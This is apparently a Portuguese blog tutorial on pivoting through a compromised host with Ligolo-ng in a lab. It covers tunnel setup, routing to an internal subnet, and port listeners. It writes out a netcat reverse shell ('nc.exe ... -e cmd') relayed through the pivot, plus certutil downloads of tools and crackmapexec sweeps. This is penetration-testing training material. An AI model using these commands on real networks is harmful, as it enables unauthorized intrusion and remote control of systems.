Você fez a enumeração correta, obteve acesso ao servidor alvo e, ao explorar o sistema, percebeu que o que realmente importa está por trás da rede interna. Serviços e máquinas inacessíveis direto da Internet. Neste guia você vai ver, passo a passo, como instalar e configurar o Ligolo / Ligolo-NG para criar um túnel seguro e pivotar a partir do host comprometido, permitindo acesso remoto a recursos internos sem necessidade de portas expostas. O foco aqui é prático: comandos essenciais, configuração mínima e exemplos de uso para que você consiga testar pivots em ambientes controlados de forma rápida e reproduzível.

Instalação

Aqui temos o repositório da Ferramenta, com ele é possível obter sua documentação, e realizar a instalação dos arquivos necessários.

https://github.com/nicocha30/ligolo-ng

  • Realize o download do Agent e do Proxy, lá existem versões Linux e Windows.
cd /opt
sudo mkdir -p ligolo && cd ligolo
# exemplo (substitua pela versão desejada encontrada em Releases)
sudo wget <https://github.com/nicocha30/ligolo-ng/releases/download/vX.Y/ligolo-ng_proxy_X.Y_linux_amd64.tar.gz>
sudo tar -xzf ligolo-ng_proxy_*.tar.gz
None

Entendendo o nosso campo de batalha

Toda operação começa com a preparação da sua infraestrutura. O Ligolo-ng funciona com um modelo proxy/agente. O proxy roda em nossa máquina AT, aguardando a conexão do agent, que irá para o ataque, e será executado na máquina PV.

  • Considerando o nosso cenário, vamos dar nome aos Ativos:
  • Máquina do Atacante (AT): Nosso sistema Kali Linux.
  • Máquina Pivô (PV): A máquina que já comprometemos, nossa porta de entrada.
  • Alvo Interno (TG): Uma máquina na rede Interna que queremos alcançar.

Setup do Atacante

  • Na nossa máquina (AT):
  • sudo ip tuntap add user <SeuUsuario> mode tun ligolo
  • sudo ip link set ligolo up

Por que isso? Este comando cria e ativa a interface ligolo. Todo o tráfego que direcionarmos para ela será "tunelado" através do nosso Pivô até a rede interna.

Executando o Proxy

  • Na nossa máquina (AT):
  • ./proxy -selfcert
None

O parâmetro -selfcert gera certificados para criptografar a comunicação, mantendo nossa operação discreta. A porta 11601 estará agora aberta, aguardando a conexão do nosso agente.

Conectando o Agent

  • Com nossa base pronta, é hora de ativar o agente na máquina que já comprometemos (Máquina PV).
  • ligolo-agent.exe -connect <IpDaMaquinaAt:11601> -selfcert
None

O agente inicia a conexão de dentro para fora. Isso é extremamente eficaz para burlar firewalls, que geralmente permitem tráfego de saída mas bloqueiam conexões de entrada.

  • De volta à nossa máquina AT, você verá a confirmação de que uma nova sessão foi estabelecida.
None

Enumerando a Rede Interna:

  • Na nossa máquina At:
  • sessions → Entra no modo de gerenciamento de sessão
  • use 1 → Seleciona a sessão recém-criada (geralmente a de ID 1)
  • ifconfig → Mostrará as redes da máquina da sessão 1 (Pv) selecionada anteriormente
  • Podemos ver que além da rede já conhecida e explorada anteriormente, também possuimos uma rede local.
None

Domínio da Rede (Roteamento e Ação)

Agora vamos dizer ao nosso sistema operacional para enviar todo o tráfego destinado à rede interna através do nosso novo túnel.

  • Em um novo terminal na nossa máquina AT:
  • sudo ip route add 10.10.120.0/24 dev ligolo

Cria uma regra na nossa tabela de roteamento. Agora, qualquer ferramenta na nossa máquina (Nmap, CrackMapExec) que tentar acessar um IP na faixa 10.10.120.0/24 terá seu tráfego automaticamente enviado pela interface ligolo e sairá pela máquina Pivô como se fosse um tráfego local.

  • Ainda na nossa máquina AT:
  • ip route lists → Mostra as nossas rotas.
None

Final Step — Iniciando o túnel

  • Voltando a nossa sessão do proxy na máquina At:
  • sessions → confirmar que estamos na sessão certa;
  • start → inicia o túnel;
  • Ex: No caso de um AD, poderíamos confirmar esse túnel rodando um crackmapexec smb 10.10.120.0/24 em toda rede que está sendo "tunelada" para nossa máquina AT.
None

Recebendo uma Reverse Shell

  • Em casos onde não se faz necessário um pivot, é possível conseguir uma Shell Reversa direto de uma máquina Atacada até a máquina Atacante (TG → AT)
  • Em um caso onde é necessário realizar um Tunelamento isso não é possível, pois as máquinas estão em redes diferentes, logo, o direcionamento da Reverse Shell deve ser: TG → PV → AT . Sendo a "PIVOT" a máquina que conseguimos comprometer inicialmente.
  • Para isso, vamos configurar "Listeners" que direcionam o tráfego que chega em uma Porta da PIVOT, diretamente para uma porta na nossa ATACANTE.
  • Na sessão de proxy na AT:
  • listener_list → mostra a lista de listeners já configurados (como ainda nao iniciamos nenhum, o normal é ela estar vazia)
  • listener_add --addr 0.0.0.0:1234 --to <IpDaMaquinaAt>:4444 → Toda conexão que chegar na porta 1234 da PV, será redirecionado até a porta 4444 na nossa AT
  • listener list → Para confirmar que o listener foi configurado corretamente.
None
  • Enviando a nossa Reverse Shell:
  • Devemos configurar um listener na nossa máquina (AT), na porta escolhida, no caso do nosso laboratório foi a 4444. rlwrap nc -nlvp 4444
  • Na máquina TG, devemos enviar a Shell Reversa para a máquina PV, na porta escolhida durante a configuração do listener. Vamos supor que o ip da PV seja 10.10.120.130 , logo, a reverse shell deverá ser configurada para 10.10.120.130 1234 , pois essa foi a porta configurada em nosso laboratório. Em caso de nc em uma máquina windows: nc.exe 10.10.120.130 -e cmd
None

Transferencia de Arquivos

O mesmo princípio se aplica para transferir seus exploits ou ferramentas de escalação de privilégio.

  • Inicie um servidor python na AT, no diretório onde o arquivo a ser enviado está. python3 -m http.server 80 → Abre um servidor HTTP na porta 80 (Pode ser escolhida outra porta também)
  • Configurar um novo listener na sessão de proxy na AT:
  • listener_add --adr 0.0.0.0:1235 --to <IpDaAt>:80 → Configura um listener para Transferência de Arquivos.
  • Na Shell Reversa obtida anteriormente que está direcionando o tráfego da TG até a AT: certutil -urlcache -f http://<IpDaPv>:1235/<nomedoarquivo> <NomeDaSaídaDoArquivo → A Tg está fazendo um requisição para PV, porém o trafego está direcionado para a nossa AT na porta 80 do servidor HTTP.
None
  • Confirmando Observando o servidor HTTP da AT:
None

Conclusão:

Dominar uma ferramenta como o Ligolo-ng é o que eleva um operador de um simples invasor de perímetro para um verdadeiro explorador de redes internas. Seguindo estes passos, você não apenas obteve uma shell, mas estabeleceu uma cabeça de ponte, mapeou um território desconhecido e construiu uma rota direta para a infraestrutura do alvo.

Créditos:

Inspiração: Gonski Cyber — Vídeo: https://www.youtube.com/watch?v=DM1B8S80EvQ&t=90s

Documentação: Ligolo https://docs.ligolo.ng/

Autor: Matheus Azevedo

LinkedIn: www.linkedin.com/in/matheus-azevedo-488602316